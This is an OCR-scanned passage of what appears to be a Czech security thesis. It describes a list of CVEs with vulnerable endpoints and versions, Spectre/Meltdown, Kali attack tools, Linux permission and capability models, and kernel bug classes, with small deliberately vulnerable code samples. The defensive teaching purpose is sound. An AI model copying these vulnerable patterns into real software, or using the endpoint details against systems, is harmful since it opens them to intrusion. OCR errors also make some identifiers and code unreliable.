Log4Shell je oznaceni pro zranitelnost v protokolovacim nastroji zvaného Apache Logdj2,
ktery je pouzit v jazyce Java. Zranitelnost se konkrétné tyka funkce JNDI (Java Naming
and Directory Interface). Pti spravném nastaveni muze tto¢nik ovlddat protokolové zpravy
nebo parametry protokolovych zprav a tim docilit spusténi libovolného kédu nac¢teného ze
servertt LDAP. Utoky zneuzivajici tuto zranitelnost byl nejvice postizen finanéni primysl.

Pro odstranéni zranitelnosti je nutna aktualizace aplikace na verzi 2.15.0 nebo noveéjsi
a pouzitim spravné konfigurace. [33]

Hodnoceni zranitelnosti podle stupnice CVSS NIST:NVD je 10. [13]

4.7.3 CVE-2018-13379

Zranitelnost se tyka systému FortiOS. Upravou pozadavkil na prostfedky mize dtoénik
docilit prec¢téni souboru relaci, které obsahuji povéreni ve formé prostého textu. Spolec¢nost
Kaspersky zdokumentovala piipad zneuziti této zranitelnosti k vytvoreni vstupniho bodu,
po kterém byl do systému vlozen ransomware oznéeny jako Cring. [33]

Pro zabranéni znéuziti zranitelnsoti je nutna aktualizace systému FortiOS a dals{ kroky,
které zahrnuji naptiklad pouziti nastroju pro detekci a blokovani chybnych pozadavkid na
prostiedky. [33]

Zranitelné verze jsou Fortinet FortiOS 5.6.3, 5.6.4, 5.6.5, 5.6.6, 5.6.7, 6.0.0, 6.0.1, 6.0.2,
6.0.3 a 6.0.4.

Hodnoceni zranitelnosti podle stupnice CVSS NIST:NVD je 9.8. [13]

4.7.4 CVE-2020-14179

Diky zranitelnosti v systémech Atlassian Jira Server a Data Center muze ttocnik prostied-
nictvim koncového bodu /secure/QueryComponent!Default.jspa docilit tiniku informaci. [33]
Zranitelné verze aplikace Atlassian Jira Data Center jsou do verze 8.5.8 (kromé), od
8.6.0 (v¢etné) do 8.11.1 (kromé). Zranitelné verze aplikace Atlassian Jira Server jsou do
8.5.8 (kromé), od 8.6.0 (véetné) do 8.11.1 (kromé).
Hodnoceni zranitelnosti podle stupnice CVSS NIST:NVD je 5.3. [13]

4.7.5 CVE-2021-26086

Zranitelnost v systémech Atlassian Jira Server a Data Center muze byt zneuzita ke ¢teni
urc¢itych soubortu diky koncovému bodu /WEB-INF /web.zml. Pfi zneuziti této zranitelnosti
mohou utoc¢nici docilit vzdaleného spusténi kédu nebo kradeze informaci. [33]

Zranitelné verze aplikace Atlassian Jira Data Center jsou do verze 8.5.14 (kromé), od
8.6.0 (v¢etné) do 8.13.6 (kromé), od 8.14.0 (véetné) do 8.16.1 (kromé). Zranitelné verze
aplikace Atlassian Jira Server jsou do 8.5.14 (kromé), od 8.6.0 (v¢etné) do 8.13.6 (kromé),
od 8.14.0 (v¢etné) do 8.16.1 (kromé).

Hodnoceni zranitelnosti podle stupnice CVSS NIST:NVD je 5.3. [13]

53



4.7.6 CVE-2019-8442

Zranitelnost v systému Atlassian Jira je zpusobena nedostatecnou validaci uzivatelského
vstupu. Utoénik miiZe odesldnim upraveného pozadavku na cilovy server dosahnout tniku
informaci. [33]

Zranitelné verze systému Atlassian Jira jsou do verze 7.13.4 (kromé), od 8.0.0 (véetné)
do 8.0.4 (kromé), od 8.1.0 (v¢etné) do 8.1.1 (kromé).

Hodnoceni zranitelnosti podle stupnice CVSS NIST:NVD je 7.5. [13]

4.7.7 CVE-2018-2894

Zranitelnost serveru Oracle WebLogic Server umozinuje neopravnény pristup na portu 7001
k cesté /ws__utc/config.do. Po vytvoreni zapisovatelného adresate Work Home Dir a nahréni
souboru JSP (Java Server Page) prostfednictvim karty zabezpeceni muze tocnik spustit
nahrany JSP, coz muze vést ke kompromutaci serveru. [33]

Pro zabranéni zneuziti je nutné zablokovani portu 7001 a ovéreni, ze server WebLogic
nepracuje ve vyvojovém rezimu a instalace zaplaty.

Zranitelné verze servert Oracle WebLogic Server jsou 10.3.6.0.0, 12.1.3.0.0, 12.2.1.2.0 a
12.2.1.3.

Hodnoceni zranitelnosti podle stupnice CVSS NIST:NVD je 9.8. [13]

4.7.8 CVE-2020-1938 (GhostCat)

Zranitelnost v systému Apache Tomcat je zptisobena chybnym zpracovani HT'TP pozadavki
obshujicich vice hlavicek Content-Length a umoznuje utocnikovi provést utok typu DoS
nebo spustit libovolny kéd. [33]

Zranitelné verze systému Apache Tomcat jsou od 7.0.0 (véetné) do 7.0.99 (vcetné), od
8.5.0 (véetné) do 8.5.50 (véetné), od 9.0.0 (véetné) do 9.0.30 (véetné).

Hodnoceni zranitelnosti podle stupnice CVSS NIST:NVD je 9.8. [13]

4.7.9 CVE-2022-24086

Zranitelnost v aplikacich Adobe Commerce a Magento Open Source je zpusobena nedo-
stateCnou validaci vstupu a umoznuje vzdalené spusténi kédu. Spusténim skenovani zrani-
telnosti web stranek muze toc¢nik obejit ochrany a po zneuziti zranitelnosti mize dojit k
uplné kompromitaci systému. [33]

Zranitelné jsou platformy, kde je spustén Magento Open Source 2.4.3-pl, 2.4.3-p2 a
starsi verze, 2.3.7-p2 a stars{ verze nebo Adobe Commerce 2.4.3-pl, 2.4.3-p2 a starsi verze,
2.3.7-p2 a starsi verze.

Hodnoceni zranitelnosti podle stupnice CVSS NIST:NVD je 9.8. [13]

4.7.10 CVE-2020-3452

Zranitelnost se vyskytuje v.SW Cisco ASA a FTD. Pii odeslani upraveného HT'TP poza-
davku miize itocnik pristupovat k libovolnym soubortim v souborovém systému web sluzeb
za predpokladu, Ze je v systému nastavena WebVPN nebo AnyConnect. Mezi tyto soubory
patii naptiklad zalozky nebo soubory cookie. [33]

Zranitelné verze Cisco Adaptive Security Appliance Software od 9.6 (véetné) do 9.6.4.42
(kromé), od 9.8 (v¢éetné) do 9.8.4.20 (kromé), od 9.9 (véetné) do 9.9.2.74 (kromé), od 9.10
(véetné) do 9.10.1.42 (kromé), od 9.12 (véetné) do 9.12.3.12 (kromé), od 9.13 (vcetné) do
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9.13.1.10 (kromé), od 9.14 (véetné) do 9.14.1.10 (kromé). Déle jsou zranitelné verze Cisco
Firepower Threat Defense od 6.2.3 (véetné) do 6.2.3.16 (kromé), od 6.3.0 (véetné) do 6.3.0.6
(kromé), od 6.4.0 (véetné) do 6.4.0.10 (kromé), od 6.5.0 (v¢éetné) do 6.5.0.5 (kromé), od 6.6.0
(véetné) do 6.6.0.1 (krome).

Hodnoceni zranitelnosti podle stupnice CVSS NIST:NVD je 7.5. [13]

4.7.11 CVE-2024-26582

Zranitelnost typu use-after-free se vyskytuje jadfe systému Linux v subsystému TLS ve
funkci tls _decrypt _sg. Funkce tls _decrypt_sg ignoruje odkaz na stranky predavané z funkce
clear__skb a z toho duvodu jsou tyto stranky predcasné uvolnény ve funkci put_page volané
z funkce tls_decrypt _done. Pokus o precteni ¢astecné prectené datové struktury skb je
pri¢inou zranitelnosti use-after-free popsanou v ¢asti 5.3.3. [35] [42]

Pri ispésném zneuziti zranitelnosti mize byt spustén libovolny kéd nebo muze dojit k
poskozeni dat.

Zneuzitelné verze jadra jsou od 6.0 (véetné) do 6.1.79 (kromé), od 6.2.0 (véetné) do
6.6.18 (kromeé), od 6.7.0 (véetné) do 6.7.6 (kromé).

Hodnoceni zranitelnosti podle stupnice CVSS NIST:NVD je 7.8. [13]

4.7.12 CVE-2024-3094

Jedna se o zdmérné vlozenou zranitelnost do knihovny liblzma nastroje xz Utils slouzici
pro bezztratovou kompresi dat. Byla ndhodné odhalena inZenyrem spole¢nosti Micosoft,
ktery chtél zjistit pri¢inu chyb vygenerovanych nastrojem valgrind pti prihlasovani pomoci
SSH (Secure Shell) a také duvod, pro¢ toto ptihlasovani spotfebovava prilis mnoho cykla
procesoru. [36]

V opera¢nim systému Debian a dalsich linuxovych distribucih zahrnuje program systemd
odkaz na spustitelny soubor sshd. Program systemd zajistuje nacteni sluzeb béhem faize
spousténi systému. Spustitelny soubor sshd zajistuje navazovani vzdalenych pripojeni SSH.
Program systemd se odkazuje i na knihovnu liblzma, coz umoznuje nastroji xz Utils kontrolu
nad spustitelnym souborem sshd.

Skodlivy kéd vlozeny do knihovny liblzma manipulaci se spustitelnym souborem sshd
vytvari zadni vratka umoznujici ttoénikovi se spravnym soukromym klicem vlozeni libo-
volného kdédu do prihlasovaciho SSH certifikatu. Libovolny kod je poté spustén na zarizeni
s vytvorenymi zadnimi vratky. [74]

Zranitelnost se nachézi ve verzich 5.6.0 a 5.6.1 nastroje zz Utils. [72]

Hodnoceni zranitelnosti podle stupnice CNA:Red Hat, Inc. je 10. [13]

4.7.13 Spectre a Meltdown

Spectre a Meltdown je oznaceni pro HW zranitelnosti modernich procesori. Obé zrani-
telnosti jsou zpusobeny vlastnosti modernich procesorti nazvanou spekulativni provadéni
instrukei, které je zajisténo prostfednictvim prediktoru vétveni. [45]

Prediktor vétveni slouzi ke spekulativnimu uréeni dalsi vykonavané instrukce v piipadé,
ze se v programu nachézi instrukce pro zménu toku provadénych instrukci. Spolehlivé roz-
hodnuti o dalsi vykonavané instrukci je stanoveno na zakladé vysledku instrukce pro zménu
toku provadénych instrukei. PTi zastaveni zastaveni provadéni instrukci v instrukéni pipeline
procesoru, z duvodu ¢ekani na rozhodnuti, by doslo ke snizeni vykonu. Piikladem instrukce
ménici tok programu je napiiklad instrukce pro vétveni programu. Pii chybné provedeném
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odhadu jsou zruseny zmény vykonané spekulativné provedenymi instrukcemi. Pri spravném
odhadu dochazi ke zvyseni vykonu.

Ke spekulativnimu provadeni mize dojit i v rdmci samotné instrukce. Instrukce miize
byt spekulativné provedena pred tim, nez je ovéreno, zda méa nebo nema povoleni k jejimu
provedeni. Tato vlastnost zpusobuje zranitelnost Meltdown.

Spectre a Meltdown je ve skutec¢nosti oznaceni pro mnozinu zranitelnosti, které jsou si do
ur¢ité miry podobné. Prostrednictvim spekulativniho provadéni je spustén utoc¢nikiv kéd,
ktery bez povoleni ¢te tajnd data z paméti. PreCtend tajnd data jsou ziskdna postrannim
kanalem. Postrannim kandlem muze byt pamét cache procesoru.

Postranni kanal je oznaceni pro nezamyslenou cestu, kterou unikaji informace. Jako
piiklad miize poslouzit program urceny pro zjisténi tisknutého textu na zakladé zvuku
tiskarny. V takovém pripadé je postrannim kanalem zvuk.

Zranitelnosti se vyskytuji v nékolika variantach. V ¢asti 4.7.13 je uvedena varianta
zranitelnosti Spectre a v ¢asti 4.7.13 je uvedena varianta zranitelnosti Meltdown.

Spectre

Skodlivy kéd zneuzivajici tuto zranitelnost je uveden ve vypise 4.9.

if (x < 256) {
secret = arrayl[x]
y = array2[secret]

}

Vypis 4.9: Skodlivy kéd zneuzivajici zranitelnosti Sepctre. Pievzato ze zdroje
[45].

Procesor za¢ne spekulativné provadét instrukce v podminéné vétvi kodu i presto, zZe je
hodnota proménné x vétsi nez hodnota 256. To je zpusobeno nékolikanasobnym spusténim
skodlivého kédu s hodnotou proménné x mensi nez 256 a prediktor vétveni predpoklada,
ze tomu tak bude i pfi dalsim spusténi. V poli arrayl na indexu z je uloZena adresa, na
které se nachazi pozadované tajné informace. Pti pristupu do pole array2 je do paméti
cache vlozZena tajna informace. Pamét cache byla pomoci instrukci flush vymazana, takze
nactend tajna data pochazi z hlavni paméti. P¥i vyhodnoceni chybné zvolené vétve nejsou
hodnoty proménnych y a secret zviditelnény programu, ale tajna informace z hlavni paméti
je jiz nac¢tena do paméti cache. Mérenim doby pristupu k dattim nachézejicim se v paméti
cache lze zjistit, zda data v paméti cache jsou nebo ne.

Meltdown

Na obrazku 4.6 je uvedeno znauziti zranitelnosti Meltdown nachézejici se v procesoru spo-
le¢nosti Intel.
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MELTDOWN Procesory Intel viak

Logicky by cteni z paméti mélo fungovat takto: kvali uspofe Easu Cteni z paméti Meltdown
provadéji tyto
Ma aplikace opravnéni ist z této adresy? kroky mimo poftadi. @
Ano l Ne Ma aplikace opravnéni éist z této adresy?
Ano
N
Cteni z paméti €
_>

Pomoci maskovani vyjimek a postranniho kanalu,
ktery uréuje dobu éteni z paméti, mize Meltdown
ukrast tajna data.

Obrazek 4.6: Zranitelnost Meltdown zptsobena spekulativnim provadénim v
rdmci jedné instrukce. Prevzato ze zdroje [45].

Instrukce precte tajna data z paméti. Pri zjisténi, Ze instrukce nema opravnéni ke ¢teni z
adresy paméti je ignorovana vyjimka. Pre¢tena data je mozné precist z postranniho kanalu
meéteni pristupovych casu k dattm.

4.8 Kali linux

Operacni systém Kali linux predstavuje distribuci Linuxu s otevienym zdrojovym kédem
ur¢enou pro penetracni testovani a bezpec¢nostni audit. V ramci systému se nachézi nékolik
stovek nastroju zamétujicich se napiiklad na penetra¢ni testovani, bezpecnostni vyzkum,
pocitacovou forenzni analyzu nebo reverzni inzenyrstvi. [70] V této kapitole jsou uvedeny
nékteré nastroje.

4.8.1 Nmap

Nastroj Nmap je uréeny pro mapovani sité. Umoznuje zjisténi hostiteltl nachazejicich se v
siti, urceni opera¢niho systému cilového zafizeni, detekovat verzi aplikace nebo skenovani
porti vystavenych na hostiteli. [79]

4.8.2 Aircrack-ng

Aircrack-ng oznacuje sadu zamérujici se na bezpec¢nost bezdratovych siti. Diky sadé je
mozné desifrovat hesla WEP (Wired equivalent privacy), WPA (Wi-Fi protected access),
WPA, WPA2-PSK. Déle umoznuje injekci paketl, provedeni ttoku prehratim a dalsi. V
sadé je mimo jiné obsazen i analyzator paket.

4.8.3 JTR (John the Ripper)

JTR je oznaceni pro offline néstroj pro itoky hrubou silou na hesla. Nastroj umoznuje pro-
vedeni slovnikovych Utoku, mize byt spustén jako tloha cronu a podporuje fadu algoritmi,
mezi kreré patii napiiklad SHA-1, DES, LM/NTLM hashe systému Windows a dalsi.
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4.8.4 Hydra

Hydra je néastroj bézné pouzivany s nastrojem JTR a oznacuje online program pro utoky
na hesla. Stejné jako JTR umoznuje provedeni slovnikovych tutoki, itoky hrubou silou a
poskytuje podporu pro mnoho sifovych protokolu.

4.8.5 SET

Néstroj SET je zaméren na utoky socidlniho inzenyrstvi. Mezi hlavni funkce patii generovani
phishing ttokt, SMS utoki, e-mail ttokd a podobné.

4.8.6 Burp Suite

Sada Burp Suite je vyuzita pfi penetracnim testovani web aplikaci. Umoznuje vypsani
adresafu na web serveru, prehrani pozadavku, kontrolu a tpravu pozadavki a odpovédi
vytvarenych smérem k cilové web aplikaci a dalsi.

4.8.7 Sqlmap

Nastroj sqlmap je urcen pro automatické provadéni atoku typu SQL injection. Umoznuje
napriklad ziskavani informaci z tabulek, vyhledavani tabulek v databazich nebo vyhledavani
sloupct. [16]
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Kapitola 5

Bezpecnost operacniho systému
Linux

V kapitole je vysvétlen tradi¢ni model opravnéni spolu s modernim modelem schopnosti,
ktery zvysuje bezpe¢nost rozdélenim prav uzivatele root na mensi ¢asti. Déale jsou uvedeny
bézné zranitelnosti jadra opera¢niho systému Linux.

5.1 Tradic¢ni model opravnéni

Model opravnéni predstavuje mechanizmus pro zajisténi ochrany souborti v souborovém
systému. Pro kazdy soubor jsou definovany tii kategorie pristupu. V prvni kategorii jsou
uvedena opravnéni pro vlastnika, ve druhé kategorii jsou uvedena opravnéni pro skupinu
a v posledni jsou uvedena opravnéni pro ostatni uzivatele. V kazdé kategorii jsou oprav-
néni definovana tfemi bity. Bit 7 urcuje opravnéni pro ¢teni obsahu souboru, bit w urcuje
opravnéni pro zapis do souboru a z ur¢uje opravnéni pro spusténi souboru, ktery se tyka
zkompilovanych binarnich aplikaci nebo naptiklad skripti urcenych pro shell. Vyznam bita
opravnéni se mirné lisi pro adresarové soubory jak je uvedeno v kapitole 5.1.1. Logické hod-
nota 1 v prislusném bitu znamena udéleni opravnéni a logickd hodnota 0 znamend odepteni
opravnéni. [48] [76]

Jako priklad lze uvazovat soubor myfile jehoz bity opravnéni pro rtzné kategorie pti-
stupu jsou uvedeny v tabulce 5.1.

Kategorie ptistupu | Vlastnik (U) | Skupina (G) | Ostatni (O)
Bity opravnéni r|w|Xx r | w X r | w X
Piiklad (myfile) | 1|1 |0 110 [1]0]o0

Tabulka 5.1: Kategorie pristupu a bity opravnéni souboru myfile. Pfevzato ze zdroje [76].

Informace o opravnéni jsou ulozeny ve struktufe zvané inode. Tyto informace lze zobrazit
napiiklad pouzitim piikazu ls. Ve struktute inode je také ulozen identifikator vliastnika (dale
jen file_ UID) a identifikdtor skupiny (déle jen file_ GID).

Pri udélovani pristupu rozhoduje jak opravnéni souboru, tak povéreni procesu, ktery
provadi pristup. Povéfeni procesu je popsano v kapitole 5.1.2.
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5.1.1 Opravnéni adresarového souboru
Bity opravnéni maji v pripadé adresarového souboru nasledujici vyznam:
e Bit r oznacuje opravnéni pro prohlizeni obsahu adresare.
e Bit w oznacuje opravnéni pro vytvareni a mazani souboru v adresari.

e Bit x oznacuje opravnéni pro ziskani rozsifenych informaci o souborech v adresafi a
také oznacuje opravnéni pro presun do adresare prikazem cd.

5.1.2 Povéreni procesu

Povéreni procesu zahrnuje napriklad identifikdtor procesu, identifikator relace, efektivni
identifikator uzivatele (ddle jen EUID), redlny identifikator uzivatele (dale jen RUID), efek-
tivni identifikdtor skupiny (dale jen EGID), redlny identifikidtor skupiny (dédle jen RGID)
a dalsi. Tyto informace jsou uloZeny ve struktufe oznacované jako PCB (Process Control
Block).

Hodnoty RUID a RGID oznacuji identifikdtor ptivodniho vlastnika a vlastnici skupiny a
hodnoty EUID a EGID oznacuji hodnoty, které vyuziva operacni systém pro povoleni nebo
odepfreni pristupu. Redlné a efektivni hodnoty jsou pfi spusténi procesu stejné, ale efektivni
hodnoty je mozné za béhu ménit.

Pii uréeni redlnych hodnot hraje dulezitou roli soubor /etc/passwd. Na kazdém fadku
tohoto souboru jsou uvedeny zaznamy uzivateli. Ve tifetim a ¢tvrtém poli zdznamu se
nachdzi identifikdtor uzivatele (UID) a identifikdtor skupiny uzivatele (GID). Pfi spusténi
procesu uzivatelem jsou tyto hodnoty vyjmuty z jeho zaznamu a vlozeny do realnych hodnot
RUID a RGID procesu.

Redlné a efektivni identifikatory procesu je mozné ziskat provedenim prikazu id.

5.1.3 Jak probiha rozhodovani o povoleni pristupu

P1i rozhodovani o povoleni pristupu procesu k souboru je nutné nejdrive urcit kategorii
pristupu. Zjednoduseny algoritmus pro urceni kategorie pristupu je uvedeny ve vypise 5.1.

if process_EUID == file_UID
then
access_category = U
else if process_EGIDs.contains(file_GID)
then
access_category = G
else
access_category = 0
fi

Vypis 5.1: Algoritmus urcujici kategorii pristupu

V pripadé, ze se EUID procesu rovna identifikatoru uzivatele vlastnika souboru, je
pridélena kategorie piistupu pro uzivatele. V piipadé, ze se identifikdtor skupiny vlastnici
soubor rovna néjakému identifikdtoru skupiny, do které proces patii, je udélena kategorie
pristupu pro skupinu. Jinak je udélena kategorie pristupu pro ostatni uzivatele.

Po urceni kategorie pristupu je na zakladé bitt opravnéni povolen nebo odepien pristup
procesu k souboru.
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5.1.4 Specialni bity opravnéni

Pro soubor je mozné definovat specidlni bity opravnéni. [76] [51]

Bit SUID

Po spusténi binarniho spustitelného souboru s aktivnim SUID bitem je hodnota EUID
procesu rovna identifikdtoru vlastnika souboru. Tento soubor je oznacovan jako setuid.
V ptipadé binarniho spustitelného souboru vlastnéného uzivatelem root je tento soubor
oznacovan jako setuid-root.

P1i vypisu informaci pomoci pitkazu Is se aktivni SUID bit projevi malym pismenem s
na misté, kde se nachazi bit opravnéni x uzivatele jak je uvedeno ve vypise 5.2.

-rwsrw-r-- 1 seawolf seawolf 186 Feb 17 13:15 myFile
Vypis 5.2: Aktivni bit SUID.

Pokud je pismeno S velké, pak vlastnik souboru nema pravo na jeho spusténi.

Prikladem znamého setuid-root spustitelného souboru je passwd slouzici pro zménu
uzivatelského hesla. Heslo je ulozeno v souboru /etc/shadow, do kterého muze zapisovat
pouze uzivatel root. Pri spusténi passwd je vytvoren proces jehoz EUID m&a hodnotu 0.
Proces bézi s opravnénim uzivatele root a mize provést zapis do souboru /etc/shadow a
zménit heslo. Timto zpltisobem uzivatel mize prostfednictvim nastroje passwd zménit své
heslo i presto, ze nemé dostateénd opravnéni pro pfimy zapis do souboru /etc/shadow.

Bit SGID

Po spusténi bindrniho spustitelného souboru s aktivnim SGID bitem je hodnota EGID
procesu rovna identifikdtoru skupiny, ke které soubor prislusi. Tento soubor je oznacovan
jako setgid.

P1i vypisu informaci pomoci pifkazu Is se aktivni SGID bit projevi malym pismenem s
na misté, kde se nachazi bit opravnéni x skupiny jak je uvedeno ve vypise 5.3.

-rw-rwsr-- 1 seawolf seawolf 186 Feb 17 13:15 myFile
Vypis 5.3: Aktivni bit SGID.

Pokud je pismeno S velké, pak vlastnici skupina souboru nema pravo na jeho spusténi.

Prikladem znamého setgid spustitelného souboru je wall, ktery umoznuje odeslani zprav
na vSechna konzolova zafizeni uzivatelti. Konzolové zarizeni je oznaceno jako tty. Opravnéni
pro zapis na konzolové zarizeni ma pouze uzivatel root nebo clen skupiny tty. Binarni
spustitelny soubor wall mé nastaveny bit SGID a m& nastavené Clenstvi ve skupiné tty. Pri
jeho spusténi vznikne proces, jehoz EGID je rovno skupiné tty. Proces tak muze zapisovat
na konzolova zafizeni uzivateli.

5.1.5 Sticky bit

Pri aktivaci sticky bitu na adresidfi muze z tohoto adresafe mazat soubory jen vlastnik
souborii nebo uzivatel root.
Pri vypisu informaci pomoci piikazu Is se aktivni sticky bit projevi malym pismenem ¢
na misté, kde se nachazi bit opravnéni z ostatnich uzivateld jak je uvedeno ve vypise 5.4.
drw-rw-r-t 1 seawolf seawolf 186 Feb 17 13:15 myDir
Vypis 5.4: Aktivni sticky bit
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5.2 Schopnosti

Moderni model shopnosti POSIX (déle jen schopnosti) predstavuje bezpecnéjsi alternativu
k tradiénimu modelu opravnéni. Schopnosti umoznuji rozdéleni prav uzivatele root (dale
jen prava root) na mensi ¢asti. Po vlozZeni schopnosti do spustitelného souboru je mozné jej
spustit s pravy bézného uzivatele, pricemz muze stale provadét nékteré operace, ke kterym je
zapotiebi prav root. Do spustitelného souboru jsou vloZeny jen schopnosti nezbytné pro jeho
spravnou ¢innost. Tento spustitelny soubor by musel byt ve tradicnim modelu opravnéni
bud spustén uzivatelem root nebo by musel byt typu setuid-root. [76] [4]

Spustitelné soubory setuid-root predstavuji bezpecnostni riziko v ptipadé vyskytu chyb
v ramci jejich kédu. V ptipadé zneuziti chyby miize dtoc¢nik ziskat schopnost provadét
piikazy v opera¢nim systému s pravy root. Pfi rozdéleni prav pouzitim schopnosti dojde k
omezeni Skod, které muze Utoc¢nik v systému napachat.

V pripadé programu urcéeného pro zachyt pakett by mohl spustitelny soubor dispono-
vat schopnosti CAP_ NET ADMIN, kterd umoznuje provadéni sitovych administrativnich
dotazl a schopnosti CAP__ NET__RAW umoznujici pouziti "raw"sokett.

Kazdé vlakno a proces obsahuje v ramci svych metadat nékolik sad schopnosti. Sada
schopnosti je bitovd maska reprezentovand 64 bity, ve které kazdy bit reprezentuje jednu
schopnost. Schopnost je aktivovana pri nastaveni prislusného bitu na hodnotu 1 a naopak je
neaktivni v pripadé, ze je piislusny bit nastaven na hodnotu 0. Sady schopnosti lze obecné
rozdélit na dva typy. Sady schopnosti vldken popsané v kapitole 5.2.2 a sady schopnosti
souboru popsané v kapitole 5.2.3.

Pr1i vytvoreni potomka provedenim funkce fork prebira tento potomek nezménénou kopii
sad schopnosti rodice. [4] Algoritmus pro urceni sad schopnosti vldkna po provedeni operace
erecve je uveden v kapitole 5.2.4.

Operace ezecve slouzi pro spusténi programu a pfi jejim provedeni je nahrazen puvodni
program novym programem v ramci procesu provadéjictho operaci execve. [7]

5.2.1 Zobrazeni schopnosti aktualniho procesu

Schopnosti aktualniho procesu je mozné ziskat z pseudosouboru, ktery se nachazi v adresari
/proc/self. Tento adresar se odkazuje na aktuélni proces. Ve vypise 5.5 jsou uvedeny sady
schopnosti programu grep.

grep -i cap /proc/self/status
CapInh: 0000000000000000
CapPrm: 0000000000000000
CapEff: 0000000000000000
CapBnd: OOOOQO3fffffffff
CapAmb: 0000000000000000

Vypis 5.5: Vypis sad schopnosti programu grep.

5.2.2 Sady schopnosti vldken a procesi

V kazdém vlakné a procesu se nachazi nésledujici sady schopnosti: [78] [11]

o Permitted (Prm): Slouzi pro omezeni schopnosti, které mouhou byt vlozeny do sady
schopnosti Effective. Pokud se schopnost nachazi v této sadé, pak muze byt vlozena
i do sady Effective.
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o Inheritable (Inh): Sada schopnosti predana z nadfazeného procesu.
o Effective (Eff): Sada schopnosti pouzivana pii kontrole opravnéni.

o Bounding (Bnd): Proces miize béhem Zivotniho cyklu ziskat jen schopnosti uvedené
v této sadeé.

o Ambient (Amb): Sada schopnosti uréend pro vlozeni schopnosti do neprivilegovanych
programu, které nemaji vloZzeny schopnosti v souborech. Pokud se schopnost nachazi
v sadé Amnient, pak se musi nachazet i v sadé Permitted a Inheritable.

5.2.3 Sady schopnosti soubori

V této podkapitole je uveden strucny popis sad schopnosti souborti. V kapitole 5.2.4 je
uveden popis toho, jak tyto sady schopnosti urcéuji schopnosti vlakna po provedeni operace
ezecve. Spustitelny soubor muze zahrnovat nasledujici sady schopnosti:

o Permitted (Prm): Povolené shopnosti vlakna.
o Inheritable (Inh): Dédéné schopnosti.

o Effective (Eff): Bit urcujici sadu schopnosti effective vldkna po provedeni operace
execve.

5.2.4 Algoritmus pro urceni schopnosti vlakna béhem provadéni operace
execve

Ve vypisech uvedenych v této kapitole slouzi P() pro oznaceni sady schopnosti vlakna pied
provedenim operace ezxecve, P’() pro oznaceni sady schopnosti vlakna po provedeni operace
execve a F() pro oznaceni sad schopnosti souboru.

Sada schopnosti ambient vldakna po provedeni operace execve je vynulovana v pripadé,
ze se nejednd o privilegovany soubor, nebo se rovna sadé schopnosti ambient vlakna pied
provedenim operace execve jak je uvedeno ve vypise 5.6.

P’ (ambient) = (file is privileged) 7 O : P(ambient)
Vypis 5.6: Urceni sady schopnosti ambient.

Sada schopnosti permitted vlakna po provedeni operace erecve je urCena operacemi
AND (v textu ozna¢ena znakem &) a OR (v textu oznacena znakem |). Schopnost je aktivni
v pripadé, zZe je aktivni v sadé schopnosti{ inheritable vlakna pied provedenim operace execve
a zaroven je aktivni v sadé schopnosti inheritable souboru nebo pokud je aktivni v sadé
schopnosti permitted souboru a zaroven je aktivni v sadé schopnosti permitted vlakna pied
provedenim operace execve nebo pokud je aktivni v sadé schopnosti permitted vldkno po
provedeni operace execve jak je uvedeno ve vypise 5.7.

P’ (permitted) = (P(inheritable) & F(inheritable)) |
(F(permitted) & P(bounding)) | P’ (ambient)
Vypis 5.7: Urceni sady schopnosti permitted.
Sada schopnosti effective vldkna po provedeni operace execve je bud rovna sadé schop-

nosti permitted nebo ambient vldkna po provedeni operace execve v zavislosti na hodnoté
bitu effective jak je uvedeno ve vypise 5.8.
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P’ (effective) = F(effective) 7 P’(permitted) : P’ (ambient)
Vypis 5.8: Urceni sady schopnosti effective.

Sady schopnosti inheritable a bounding vlakna po provedeni operace erecve zlustanou
nezménény jak je uvedeno ve vypise 5.9.

P’ (inheritable) = P(inheritable)
P’ (bounding) = P(bounding)
Vypis 5.9: Urceni sady schopnosti inheritable a bounding.

5.3 Typy zranitelnosti jadra Linuxu

Tato kapitola shrnuje nejzavaznéjsi zranitelnosti jadra Linuxu.

5.3.1 Dereference nulového ukazatele

Pri dereferenci ukazatele jehoz hodnota je NULL je systémem vygenerovana vyjimka Null-
PointerException. Diky vyvolané vyjimce je mozné obejit bezpecnostni logiku programu
nebo ziskat ladici informace uzitecné pti planovani dlasich utokt. Diky této zranitelnosti je
mozné provést napiiklad utok DoS (CVE-2014-8173). [23]

Hodnoceni zranitelnosti CVE-2014-8173 podle stupnice CVSS NIST:NVD je 7.2.

Priklad programu s touto zranitelnosti je uveden ve vypise 5.10. Po dokonceni volani
funkce get Property je do ukazatele cmd vlozena hodnota NULL v pripadé, Ze neni definovana
vlastnost "emd’. V takovém pripadé je pii pokusu o provedeni funkce trim je provedena
dereference ukazatele cmd jehoz hodnota je NULL, coz zpusobi vygenerovani vyjimky. [55]

String cmd = System.getProperty("cmd");
cmd = cmd.trim();

Vypis 5.10: Piiklad kédu se zranitelnosti dereference nulového ukazatele.

Odstranit tuto zranitelnost je mozné ovérenim hodnoty ukazatele pred pokusem o jeho
dereferenci jak je uvedeno ve vypise 5.11.

String cmd = System.getProperty("cmd");
if (cmd !'= NULL) {
cmd = cmd.trim();

Vypis 5.11: Piiklad kédu s odstranénou zranitelnosti dereference nulového ukazatele.

5.3.2 Déleni nulou

Pri pokusu o déleni nulou je systémem vygenerovana chyba, coz vede k tispésnému provedeni
utoku typu DoS (CVE-2015-4003), (CVE-2013-6367). [23]

Hodnoceni zranitelnosti CVE-2015-4003 podle stupnice CVSS NIST:NVD je 7.8 a hod-
noceni zranitelnosti CVE-2013-6367 podle stupnice CVSS NIST:NVD je 5.7.
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5.3.3 Pouziti po uvolnéni

Pri¢inou této zranitelnosti je prace s uvolnénou paméti, coz muze mit za nasledek pad
programu, poskozeni paméti nebo spusténi libovolného kédu. Této zranitelnosti vyuzivaji
utoky typu zvyseni opravnéni (CVE-2016-4557), DoS (CVE-2016-4558) nebo ziskani infor-
macf (CVE-2012-3510). [23]

Hodnoceni zranitelnosti CVE-2016-4557 podle stupnice CVSS NIST:NVD je 7.8 a hod-
noceni zranitelnosti CVE-2016-4558 podle stupnice CVSS NIST:NVD je 7.0 a hodnoceni
zranitelnosti CVE-2012-3510 podle stupnice CVSS NIST:NVD je 5.6.

Priklad programu s touto zranitelnost{ je uveden ve vypise 5.12. Funkci malloc je prove-
dena alokace pameéti, na kterou se odkazuje ukazatel ptr. Funkci free je provedeno uvolnéni
paméti, v pripadé pravdivosti vyrazu err. Pfi pravdivosti vyrazu abrt se program pokousi
pracovat s ukazetelem ptr, ktery odkazuje na jiz uvolnénou pamét. [63]

charx ptr = (char*)malloc(SIZE);

if (err) {
abrt = 1;
free(ptr);
}

